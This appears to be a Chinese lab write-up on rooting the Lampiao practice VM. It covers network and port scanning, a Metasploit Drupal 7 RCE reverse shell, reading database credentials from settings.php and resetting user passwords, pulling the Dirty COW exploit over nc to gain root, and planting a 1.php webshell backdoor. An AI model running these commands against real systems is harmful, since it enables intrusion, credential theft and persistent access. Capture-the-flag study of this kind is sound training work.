目录
一、实验环境
二、实验流程
三、实验步骤
(一)信息收集——主机发现
1.查看kali的网卡和IP信息;(网卡名:eht0;IP:192.168.97.129)
2.查看靶机页面;
3.探测特定网络内的,主机存活状态(netdiscover、arp-scan、nmap)
4.分析所得:
(二)信息收集——端口(服务)扫描
1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息
2.分析所得:
(三)渗透测试——80端口(无服务)
1.火狐浏览器,访问主页:http://192.168.97.148
(四)渗透测试——1898端口(http服务)
1.对靶机网站进行目录遍历;
2.在扫描的同时,火狐访问主页http://192.168.97.148:1898
3.尝试访问,robots.txt文件;
4.逐个访问以上扫描出来的以及robots.txt的页面;
5.分析所得:
(五)渗透测试——kali的msf利用drupal的rce漏洞反弹shell
1.进入msf,利用漏洞;
2.从哑shell转换为交互式的完整的shell;(一问一答式的shell)
(六)渗透测试——利用反弹后的shell,进行再一次的信息收集,从而进行本地提权
1.致命连问;
2.分析所得:
3.通过hydra破解ssh服务
4.再次分析:
5.通过mysql数据库,修改tiago、Eder、ADMIN的密码
6.根据以上的提示,用户tiago的密码已经修改为123,我们尝试ssh登录
7.分析所得:
8.后台页面http://192.168.97.148:1898,登录tiago、Eder、ADMIN
(七)渗透测试——尝试脏牛提权(40847.cpp)
1.40847.cpp
(八)渗透测试——清楚痕迹,留下后门,菜刀尝试连接
1.留下1.php
四、总结
1.脏牛提权40847.cpp
2.编译:(转载的编译参数解析)
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为40847
3.执行exp:./40847
执行后的root密码为dirtyCowFun
一、实验环境
- 靶机:Lampiao,IP地址:192.168.97.148
- 测试机:kali,IP地址:192.168.97.129
- 测试机:物理机Win0
- 连接方式:NAT
二、实验流程
- 信息收集——主机发现阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80、1898端口
- 渗透测试——msf利用drupal7的rce漏洞,反弹shell
- 渗透测试——22端口
- 渗透测试——脏牛提权
- 删除痕迹,留下后门
三、实验步骤
(一)信息收集——主机发现
1.查看kali的网卡和IP信息;(网卡名:eht0;IP:192.168.97.129)
2.查看靶机页面;
3.探测特定网络内的,主机存活状态(netdiscover、arp-scan、nmap)
- netdiscover -i eth0 -r 192.168.97.0/24
-i 指定网卡
-r 指定网段
--localnet or -l 指定扫描本地网络
-sP ping扫描且不进行端口扫描
4.分析所得:
- 靶机所在网段为:C段,192.168.97.0/24
- 靶机IP为:192.168.97.148
(二)信息收集——端口(服务)扫描
1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息
- nmap -p- -sV -O -A 192.168.97.148
-p- 扫描全端口
-sV 扫描端口对应的服务
-O 扫描靶机的系统版本
-A 扫描靶机的系统版本
2.分析所得:
(三)渗透测试——80端口(无服务)
1.火狐浏览器,访问主页:http://192.168.97.148
f12查看元素信息,或者查看源码,发现没有任何的可用信息
(四)渗透测试——1898端口(http服务)
1.对靶机网站进行目录遍历;
- dirb http://192.168.97.148:1898 /usr/share/dirb/wordlists/big.txt
如下图所示,扫描到了10个目录,2个文件
2.在扫描的同时,火狐访问主页http://192.168.97.148:1898
- 主页信息如下,f12查看信息以及查看源码,没有发现有用的信息
- 使用Web指纹识别插件Wapplyzer,识别到该网站的CMS为drupal 7
3.尝试访问,robots.txt文件;
- 浏览器访问:http://192.168.97.148:1898/robots.txt
4.逐个访问以上扫描出来的以及robots.txt的页面;
- 访问结果:都是一些drupal站点的配置文件等等,可以确定这个是Drupal搭建的网站
5.分析所得:
- 获得了一个drupal网站的后台登录页面;
- 该drupal的版本为7,可能存在着免身份认证的RCE漏洞;
- 该drupal搭建的网站,经过浏览器的页面测试,发现了hash加密脚本,以及存在着settings.php配置文件,可以通过该方法,获取后台登录用户名,并且修改后台登录密码;
(五)渗透测试——kali的msf利用drupal的rce漏洞反弹shell
1.进入msf,利用漏洞;
2.从哑shell转换为交互式的完整的shell;(一问一答式的shell)
- python -c 'import pty;pty.spawn("/bin/bash")'
(六)渗透测试——利用反弹后的shell,进行再一次的信息收集,从而进行本地提权
1.致命连问;
如下图所示,我们发现了2个音频,1张图片
发现了其中一个音频提示,user tiago
另外发现一张二维码,使用CQR扫描得到一段鼓励:Try harder! muahuahua
发现该tiago用户下的内容为空
2.分析所得:
- 提示一个用户tiago,但是家目录下无任何可用信息
- 注意,还有一个22端口的ssh,没有用到
3.通过hydra破解ssh服务
4.再次分析:
- 以上页面访问的时候,得到结果存在settings.php配置文件存放着数据库的连接信息
- 我们可以进入数据库,查看有哪些用户
5.通过mysql数据库,修改tiago、Eder、ADMIN的密码
- 通过find查找settings.php配置文件的位置
注意:默认的settings.php存放位置为/var/www/html/sites/default/settings.php
- cat /var/www/html/sites/default/settings.php
发现了数据库为mysql,数据库名为drupal,数据库连接信息:drupaluser Virgulino
- netstat -pantu查看进程,发现了3306端口,说明MySQL数据库是在运行着的
- mysql -udrupaluser -pVirgulino
- select uid,name,pass from users;
发现了用户tiago存储着hash加密的密码
该脚本式用来加密的,以便于存储于MySQL数据库中,默认的目录在/var/www/html/scripts/password-hash.sh
- 利用脚本,把123进行hash加密: php scripts/password-hash.sh 123
6.根据以上的提示,用户tiago的密码已经修改为123,我们尝试ssh登录
7.分析所得:
- 得到一个用户tiago,但是ssh登陆后,无可用的信息
- 还有后台登录没有用到
8.后台页面http://192.168.97.148:1898,登录tiago、Eder、ADMIN
(七)渗透测试——尝试脏牛提权(40847.cpp)
1.40847.cpp
- searchsploit dirty cow pri esc
查找脏牛提权的exp
- searchsploit -m 40847.cpp
-m 复制到当前目录下
kali通过nc把该exp传输到tiago
- nc -nv 192.168.97.129 8443 > 40847.cpp
tiago通过nc接收该40847exp
- 编译40847.cpp:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
运行该exp,运行后root的密码修改为:dirtyCowFun
密码dirtyCowFun
- cd /root 切换到root的家目录
- ls
- cat flag.txt
成功获取到flag.txt
(八)渗透测试——清楚痕迹,留下后门,菜刀尝试连接
1.留下1.php
四、总结
1.脏牛提权40847.cpp
2.编译:(转载的编译参数解析)
-
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
-
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-
-std=c++11就是用按C++2011标准来编译的
-
-pthread 在Linux中要用到多线程时,需要链接pthread库
-
-o dcow gcc生成的目标文件,名字为40847
3.执行exp:./40847